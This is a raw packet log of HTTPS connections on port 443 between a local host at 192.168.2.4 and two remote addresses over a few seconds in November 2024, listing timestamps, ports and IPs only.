Nov 16, 2024 04:34:36.028569937 CET	443	50065	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.028882027 CET	50065	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.028896093 CET	443	50065	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.099973917 CET	443	50063	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.100126028 CET	443	50063	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.100198030 CET	50063	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.100272894 CET	50063	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.100272894 CET	50063	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.100310087 CET	443	50063	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.100343943 CET	443	50063	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.102040052 CET	443	50067	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.102350950 CET	50067	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.102376938 CET	443	50067	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.102555990 CET	50068	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.102586031 CET	443	50068	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.102644920 CET	50068	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.102745056 CET	50068	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.102752924 CET	443	50068	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.102786064 CET	50067	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.102796078 CET	443	50067	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.107850075 CET	50069	443	192.168.2.4	142.250.185.132
Nov 16, 2024 04:34:36.107933044 CET	443	50069	142.250.185.132	192.168.2.4
Nov 16, 2024 04:34:36.108012915 CET	50069	443	192.168.2.4	142.250.185.132
Nov 16, 2024 04:34:36.108305931 CET	50069	443	192.168.2.4	142.250.185.132
Nov 16, 2024 04:34:36.108338118 CET	443	50069	142.250.185.132	192.168.2.4
Nov 16, 2024 04:34:36.118396044 CET	443	50064	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.118520021 CET	443	50064	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.118607044 CET	50064	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.118626118 CET	443	50064	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.118794918 CET	50064	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.118855953 CET	50064	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.118896961 CET	443	50064	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.118927002 CET	50064	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.118942976 CET	443	50064	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.120646000 CET	50070	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.120676994 CET	443	50070	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.120760918 CET	50070	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.120871067 CET	50070	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.120886087 CET	443	50070	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.352741003 CET	443	50065	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.352843046 CET	443	50067	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.352900982 CET	443	50065	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.352974892 CET	50065	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.353024006 CET	443	50067	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.353055000 CET	50065	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.353086948 CET	443	50065	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.353113890 CET	50067	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.353113890 CET	50065	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.353149891 CET	443	50065	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.353173018 CET	50067	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.353173018 CET	50067	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.353188038 CET	443	50067	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.353208065 CET	443	50067	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.355602026 CET	50071	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.355629921 CET	50072	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.355669022 CET	443	50072	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.355690002 CET	443	50071	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.355739117 CET	50072	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.355787039 CET	50071	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.355887890 CET	50072	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.355902910 CET	443	50072	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.355930090 CET	50071	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.355951071 CET	443	50071	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.361495972 CET	443	50066	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.361825943 CET	50066	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.361865044 CET	443	50066	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.362206936 CET	50066	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.362215042 CET	443	50066	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.490570068 CET	443	50066	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.490735054 CET	443	50066	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.490832090 CET	50066	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.490958929 CET	50066	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.490999937 CET	443	50066	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.491025925 CET	50066	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.491041899 CET	443	50066	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.493617058 CET	50073	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.493702888 CET	443	50073	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.493797064 CET	50073	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.493947029 CET	50073	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.493978977 CET	443	50073	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.841639996 CET	443	50068	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.843339920 CET	50068	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.843427896 CET	443	50068	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.851144075 CET	50068	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.851159096 CET	443	50068	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.852164030 CET	443	50070	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.853018999 CET	50070	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.853050947 CET	443	50070	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.853389978 CET	50070	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.853400946 CET	443	50070	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.952316046 CET	443	50069	142.250.185.132	192.168.2.4
Nov 16, 2024 04:34:36.952583075 CET	50069	443	192.168.2.4	142.250.185.132
Nov 16, 2024 04:34:36.952617884 CET	443	50069	142.250.185.132	192.168.2.4
Nov 16, 2024 04:34:36.953111887 CET	443	50069	142.250.185.132	192.168.2.4
Nov 16, 2024 04:34:36.953378916 CET	50069	443	192.168.2.4	142.250.185.132
Nov 16, 2024 04:34:36.953506947 CET	443	50069	142.250.185.132	192.168.2.4
Nov 16, 2024 04:34:36.977981091 CET	443	50070	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.978152037 CET	443	50070	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.978379965 CET	50070	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.978462934 CET	50070	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.978462934 CET	50070	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.978507042 CET	443	50070	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.978535891 CET	443	50070	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.980973005 CET	443	50068	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.981050968 CET	50074	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.981061935 CET	443	50068	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.981091976 CET	443	50074	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.981165886 CET	50068	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.981168985 CET	50074	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.981173038 CET	443	50068	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.981295109 CET	50074	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.981313944 CET	443	50074	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.981328011 CET	50068	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.981376886 CET	50068	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.981416941 CET	443	50068	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.981448889 CET	50068	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.981462955 CET	443	50068	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.983514071 CET	50075	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.983601093 CET	443	50075	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.983691931 CET	50075	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.983814955 CET	50075	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:36.983845949 CET	443	50075	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.998891115 CET	50069	443	192.168.2.4	142.250.185.132
Nov 16, 2024 04:34:37.093878984 CET	443	50071	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.097887039 CET	50071	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.097948074 CET	443	50071	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.098328114 CET	50071	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.098341942 CET	443	50071	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.105138063 CET	443	50072	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.105621099 CET	50072	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.105655909 CET	443	50072	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.105958939 CET	50072	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.105969906 CET	443	50072	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.226316929 CET	443	50071	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.226475000 CET	443	50071	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.226861954 CET	50071	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.226861954 CET	50071	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.226861954 CET	50071	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.229274988 CET	50076	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.229399920 CET	443	50076	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.229617119 CET	50076	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.229727983 CET	50076	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.229748964 CET	443	50076	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.237426043 CET	443	50072	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.237615108 CET	443	50072	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.237694979 CET	50072	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.237737894 CET	50072	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.237760067 CET	443	50072	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.237772942 CET	50072	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.237780094 CET	443	50072	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.239736080 CET	50077	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.239783049 CET	443	50077	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.239859104 CET	50077	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.239964962 CET	50077	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.239974022 CET	443	50077	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.281277895 CET	443	50073	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.281822920 CET	50073	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.281878948 CET	443	50073	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.282427073 CET	50073	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.282439947 CET	443	50073	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.417118073 CET	443	50073	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.417294979 CET	443	50073	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.417452097 CET	50073	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.417537928 CET	50073	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.417537928 CET	50073	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.417601109 CET	443	50073	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.417629957 CET	443	50073	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.419817924 CET	50078	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.419904947 CET	443	50078	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.420001984 CET	50078	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.420145988 CET	50078	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.420185089 CET	443	50078	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.530126095 CET	50071	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.530189991 CET	443	50071	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.724654913 CET	443	50074	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.725158930 CET	50074	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.725187063 CET	443	50074	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.725605965 CET	50074	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.725615978 CET	443	50074	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.729917049 CET	443	50075	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.730274916 CET	50075	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.730355024 CET	443	50075	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.730674028 CET	50075	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.730688095 CET	443	50075	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.858628035 CET	443	50074	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.858880043 CET	443	50074	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.858956099 CET	50074	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.858987093 CET	50074	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.858987093 CET	50074	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.859006882 CET	443	50074	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.859016895 CET	443	50074	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.861217022 CET	50079	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.861267090 CET	443	50079	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.861355066 CET	50079	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.861489058 CET	50079	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.861500025 CET	443	50079	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.862004042 CET	443	50075	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.862162113 CET	443	50075	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.862225056 CET	50075	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.862309933 CET	50075	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.862309933 CET	50075	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.862354040 CET	443	50075	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.862381935 CET	443	50075	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.864099979 CET	50080	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.864142895 CET	443	50080	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.864197969 CET	50080	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.864312887 CET	50080	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.864326954 CET	443	50080	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.973196030 CET	443	50076	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.973639011 CET	50076	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.973701954 CET	443	50076	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.974050045 CET	50076	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.974065065 CET	443	50076	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.982671022 CET	443	50077	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.983009100 CET	50077	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.983021021 CET	443	50077	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:37.983418941 CET	50077	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:37.983423948 CET	443	50077	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.107069969 CET	443	50076	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.107219934 CET	443	50076	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.107326984 CET	50076	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.107399940 CET	50076	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.107438087 CET	443	50076	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.107485056 CET	50076	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.107500076 CET	443	50076	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.109786034 CET	50081	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.109875917 CET	443	50081	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.109966993 CET	50081	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.110091925 CET	50081	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.110111952 CET	443	50081	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.115592957 CET	443	50077	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.115670919 CET	443	50077	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.115721941 CET	50077	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.115734100 CET	443	50077	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.115808010 CET	443	50077	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.115820885 CET	50077	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.115845919 CET	443	50077	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.115860939 CET	50077	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.115860939 CET	50077	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.115869999 CET	443	50077	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.115880013 CET	443	50077	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.117566109 CET	50082	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.117645979 CET	443	50082	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.117727041 CET	50082	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.117832899 CET	50082	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.117855072 CET	443	50082	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.169071913 CET	443	50078	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.169415951 CET	50078	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.169452906 CET	443	50078	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.169781923 CET	50078	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.169792891 CET	443	50078	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.305028915 CET	443	50078	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.305195093 CET	443	50078	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.305315971 CET	50078	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.305361032 CET	50078	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.305361986 CET	50078	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.305392027 CET	443	50078	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.305434942 CET	443	50078	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.307835102 CET	50083	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.307923079 CET	443	50083	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.308022976 CET	50083	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.308161974 CET	50083	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.308190107 CET	443	50083	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.610690117 CET	443	50079	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.611283064 CET	50079	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.611324072 CET	443	50079	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.611685038 CET	50079	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.611692905 CET	443	50079	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.643033028 CET	443	50080	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.643445969 CET	50080	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.643476009 CET	443	50080	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.643810034 CET	50080	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.643822908 CET	443	50080	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.743993044 CET	443	50079	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.744066954 CET	443	50079	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.744303942 CET	50079	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.744335890 CET	443	50079	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.744406939 CET	50079	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.744406939 CET	50079	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.744416952 CET	443	50079	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.744452000 CET	443	50079	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.746886015 CET	50084	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.746978045 CET	443	50084	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.747068882 CET	50084	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.747180939 CET	50084	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.747200966 CET	443	50084	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.779154062 CET	443	50080	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.779237032 CET	443	50080	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.779309034 CET	50080	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.779372931 CET	50080	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.779396057 CET	443	50080	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.779412985 CET	50080	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.779418945 CET	443	50080	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.781270981 CET	50085	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.781357050 CET	443	50085	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.781444073 CET	50085	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.781563044 CET	50085	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.781584978 CET	443	50085	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.845875025 CET	443	50081	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.846375942 CET	50081	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.846458912 CET	443	50081	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.846802950 CET	50081	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.846854925 CET	443	50081	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.870765924 CET	443	50082	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.871076107 CET	50082	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.871087074 CET	443	50082	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.871423960 CET	50082	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.871429920 CET	443	50082	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.975781918 CET	443	50081	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.975903988 CET	443	50081	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.976015091 CET	443	50081	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.976097107 CET	50081	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.976097107 CET	50081	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.976182938 CET	50081	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.976182938 CET	50081	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.976223946 CET	443	50081	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.976253033 CET	443	50081	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.978754997 CET	50086	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.978816032 CET	443	50086	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:38.978884935 CET	50086	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.979042053 CET	50086	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:38.979067087 CET	443	50086	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.002645969 CET	443	50082	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.002803087 CET	443	50082	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.002887011 CET	50082	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.002914906 CET	50082	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.002926111 CET	443	50082	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.002952099 CET	50082	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.002958059 CET	443	50082	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.004931927 CET	50087	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.005017042 CET	443	50087	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.005120993 CET	50087	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.005256891 CET	50087	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.005278111 CET	443	50087	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.043756008 CET	443	50083	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.044167995 CET	50083	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.044245005 CET	443	50083	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.044629097 CET	50083	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.044641972 CET	443	50083	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.173846960 CET	443	50083	13.107.246.45	192.168.2.4
